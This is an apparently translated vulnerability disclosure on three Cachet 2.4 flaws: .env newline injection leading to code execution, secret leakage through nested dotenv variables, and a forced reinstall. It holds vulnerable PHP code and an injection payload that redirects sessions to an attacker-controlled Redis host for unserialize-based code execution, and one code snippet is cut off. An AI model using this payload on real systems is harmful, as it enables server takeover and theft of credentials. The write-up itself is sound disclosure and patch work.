ステータスページは、すべてのソフトウェア・アズ・ア・サービス(SaaS)企業によって提供されるべき不可欠なサービスとなっています。その普及を促進するために、スタートアップ企業は迅速にステータスページ・アズ・ア・サービスを考案し、オープンソースのセルフホスト代替品も提供されました。Cachet、または時にCachetHQとも呼ばれる、PHPで書かれた広く採用されているステータスページシステムで、fiveai/Cachetなどの多くのコミュニティフォークがあります。
Cachetインスタンスを侵害することは、攻撃者にとって有益です。なぜなら、キャッシュ、データベース、メールサーバーなどのさまざまなサービスの秘密情報を保持しているためです。この最初の足がかりは、攻撃者が被害企業の内部ネットワークに侵入し、さらなる攻撃を行うのに役立ちます。本稿では、私たちのチームがCachet 2.4で発見した3つのセキュリティバグについての技術的分析を紹介します。これらはサーバーを侵害するために攻撃者によって利用される可能性があります。
影響
これらの脆弱性の悪用は、当時のCachetの最新の公式リリース(2.3.18)および開発ブランチ(2.4)で確認されました。これらの脆弱性を悪用しようとする攻撃者は、基本的な権限を持つ有効なユーザーアカウントを必要とし、現実的に次のようなシナリオで活用できます:
- 毎年大量のアカウントが流出していることから、資格情報スタッフィングを利用する。
- A compromised or malicious user.
- 同じパーティション上にクロスサイトスクリプティング脆弱性が存在する。
- 2021年1月に修正されたCVE-2021-39165、Cachet内の事前認証されたSQLインジェクションの悪用。
脆弱性1: CVE-2021-39172
最初の脆弱性(CVE-2021-39172)は、ユーザーがインスタンスの設定、例えばメール設定を更新する際に発生する改行挿入です。これにより、攻撃者は新しい指示を注入し、コア機能の動作を変更し、任意のコードの実行につながります。
以下の動画はこの脆弱性の悪用を示しています。デモンストレーション目的でいくつかの手順が手動で行われていますが、攻撃者によって自動化される可能性があります:
脆弱性2: CVE-2021-39174
2つ目の脆弱性(CVE-2021-39174)もこの機能に関連しており、攻撃者が設定ファイルに保存されているシークレット、例えばSMTPサーバーパスワード、アプリケーション暗号化キなどを流出させることができます。
脆弱性3: CVE-2021-39173
最後に、最後のバグ(CVE-2021-39173)はよりシンプルで、インスタンスがすでに完全に設定されていてもセットアッププロセスを経由できるようになります。その結果、攻撃者はCachetインスタンスを彼らの管理下にある任意のデータベースを使用させ、最終的に任意のコード実行に至ることができます。
これらの3つの脆弱性へのパッチは、FiveAIフォークのリリース2.5.1で利用可能です。
技術的詳細
このセクションでは、各脆弱性の技術的詳細と、コミュニティフォークの最新リリースでそれらがどのように緩和されたかを説明します。
CVE-2021-39172: リモートコード実行
Cachetのダッシュボードは、インスタンス名、メールサーバー設定などを変更するための複数の設定ビューを公開しています(管理者でないユーザーにも)。アプリケーションレベルの永続的な設定はデータベースに保存され、他のフレームワークレベルの値はアプリケーションの設定ファイルに直接保存されます。Laravelフレームワークはdotenv設定ファイルを使用しており、シェルスクリプトで環境変数を宣言する方法に似ています。そのサポートは、第三者ライブラリこちらで実装されています。
メールプロバイダーの設定を変更する際、コントローラはUpdateConfigCommand
クラスのオブジェクトをインスタンス化します。Laravelコマンドは、コマンドバスのコンテキストで、コントローラからアプリケーション固有のロジックを取り除く方法であり、オブジェクト上のexecute()
呼び出しで同期して実行されます。これは[1]
で起こります:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
関連するハンドラUpdateConfigCommandHandler
は、既存のdotenvファイルで既存のエントリを新しいもので置き換えることによって変更を行う責任があります。
UpdateConfigCommandHandler
は、2つの異なる場所でコードによってトリガーされることができます:
SetupController@postStep3
:セットアッププロセスの最後のステップ。インスタンスがインストールされると、このコードパスはもはや到達できません。SettingsController@postMail
:電子メールサーバーに関連するdotenvエントリを更新する場合。
まず、プロセス環境をプルポップするために完全な設定ファイルを評価し([1]
)、更新するディレクティブが既に定義されているかどうかを特定し([2]
)、エントリを新しい値で置き換えます([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
入力データに対する検証は実行されません。設定エントリが既に存在する限り、パラメータからの値で置き換えられます。攻撃者が改行を含む値を提供すると、dotenvファイルに新しいエントリを作成し、フレームワークレベルの機能を変更する可能性があります。
注意:dotenvファイル内の変数の最初の定義のみが使用されます。後続のものは無視されます。
Laravelプロジェクトでは、このプリミティブで任意のコード実行を取得するのに十分です。初期のdotenv設定ファイルは、ほとんどのインスタンスでこのようになることがあります:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
攻撃者はCACHE_DRIVER
キーを置き換え、自身が管理するRedisサーバーを新たなセッションバックエンドとして登録する可能性があります:
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
この値にCACHE_DRIVER
を設定するリクエストを送信した後、dotenvファイルは以下のようになります:
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
LaravelセッションはPHPのネイティブフォーマットを使用してシリアル化されるため、unserialize()
関数で解析されます。これは、特別に作成されたオブジェクトのシーケンスを使用して任意のコードの実行につなげることができる既知の弱点であり、「ポップチェーン」と呼ばれる概念です。ツールPHPGGCは、Laravelプロジェクト向けにそのようなチェーンを生成することができます。
新しい行の挿入によるコマンド実行の利用方法は他にも存在するかもしれませんが、私たちはこの方向でのさらなる研究を進めませんでした。私のチームと私は、他にどのような手法があるか知りたいと思っていますが、ご存知の方はいらっしゃいますか?
CVE-2021-39174: 設定情報漏洩
前のセクションで説明したように、dotenvファイル内に保存された値に対して直接的な読み取りおよび書き込み制御が可能です。このファイルへの書き込みは最終的に任意のコード実行につながりますが、このファイルの値がインターフェイスに表示されるという事実を利用することもできるでしょうか?
vlucas/phpdotenv
のドキュメントによると、入れ子になった変数割り当てをサポートしています。変数を宣言する際に、以前に宣言された変数を${NAME}
という構文で参照できます。
この機能は便利です。dotenv設定ファイルのエントリで他の変数を参照し、そのエントリをインターフェイスで表示することで、他の変数の値が明らかになります。
セッションドライバがクッキーに設定されている場合にコード実行につながるAPP_KEY
の漏洩は広く記載されており、このプリミティブを使ってDB_PASSWORD
やMAIL_PASSWORD
を漏らしてさらなる攻撃を行うこともできます。
CVE-2021-39173: 強制再インストール
インスタンスが既にインストールされている場合、ミドルウェアで実装されたセットアップページにアクセスできません。SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// セットアップされていない!
}
return $next($request);
}
}
チェックは単に設定の値に基づいており、定義されていない場合や空の場合、ミドルウェアはインスタンスがインストールされていると判断します。
万一あなたが何が偽と評価されるか疑問に思っている場合、ここにPHPの比較時の型システムに関する簡単な入門があります。比較は等価性チェック(==)または同一性チェック(===)を使用して実行できます。等価性チェックは、オペランドの型が考慮されないことを意味し、文字列は事前に数値にキャストできます。この動作は「型ジャグリング」と呼ばれ、実際の脆弱性(CVE-2017-1001000、CVE-2019-10231)で悪用されています。上記の比較の場合、空の文字列または「0」に等しい値はすべてfalse
と評価され、セットアップページにアクセスできます。
設定の更新中にapp_name
の値が検証されていないSettingsController@postSettings
、[1]
で:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
したがって、認証されたユーザーは、それを偽と評価される値に更新し、アクセス/セットアップを再度インスタンスを新しい管理者アカウントで再インストールする(特権の昇格)か、最初の発見を利用してコード実行権を取得できます(UpdateConfigCommandHandler
もこのコードパスから悪用できることを思い出してください)。
パッチ
新しい行の挿入脆弱性(CVE-2021-39172)は、UpdateConfigCommandHandler
で受け入れられる値の検証を改善することで対処されました。改行文字を含むいかなる変更も拒否します。
設定情報漏洩バグ(CVE-2021-39174)の修正はより複雑でした。なぜなら、既存の依存関係のために最新バージョンのdotenvライブラリをインポートできなかったからです。その代わり、関連コードを移植して、コマンドハンドラが値に入れ子になった変数を含んでいるかどうかを識別できるようにしました。
最後に、既存のインスタンスを再インストールすることを強制することはできません(CVE-2021-39173)。これは、影響を受けるミドルウェアに改善されたチェックがあるためです。
タイムライン
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
概要
この記事では、Cachetの3つの脆弱性を分析し、Laravelの設定ファイルを使用して基本的なユーザー権限のみでインスタンスを乗っ取る能力を示しました。また、メンテナが適用したパッチと、私が提示した攻撃を防止する方法について説明しました。
最後に、私のチームと私は、FiveAIのCachetフォークのメンテナーにご協力いただき、これらの脆弱性を迅速かつ専門的に修正していただいたことに感謝申し上げます。
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection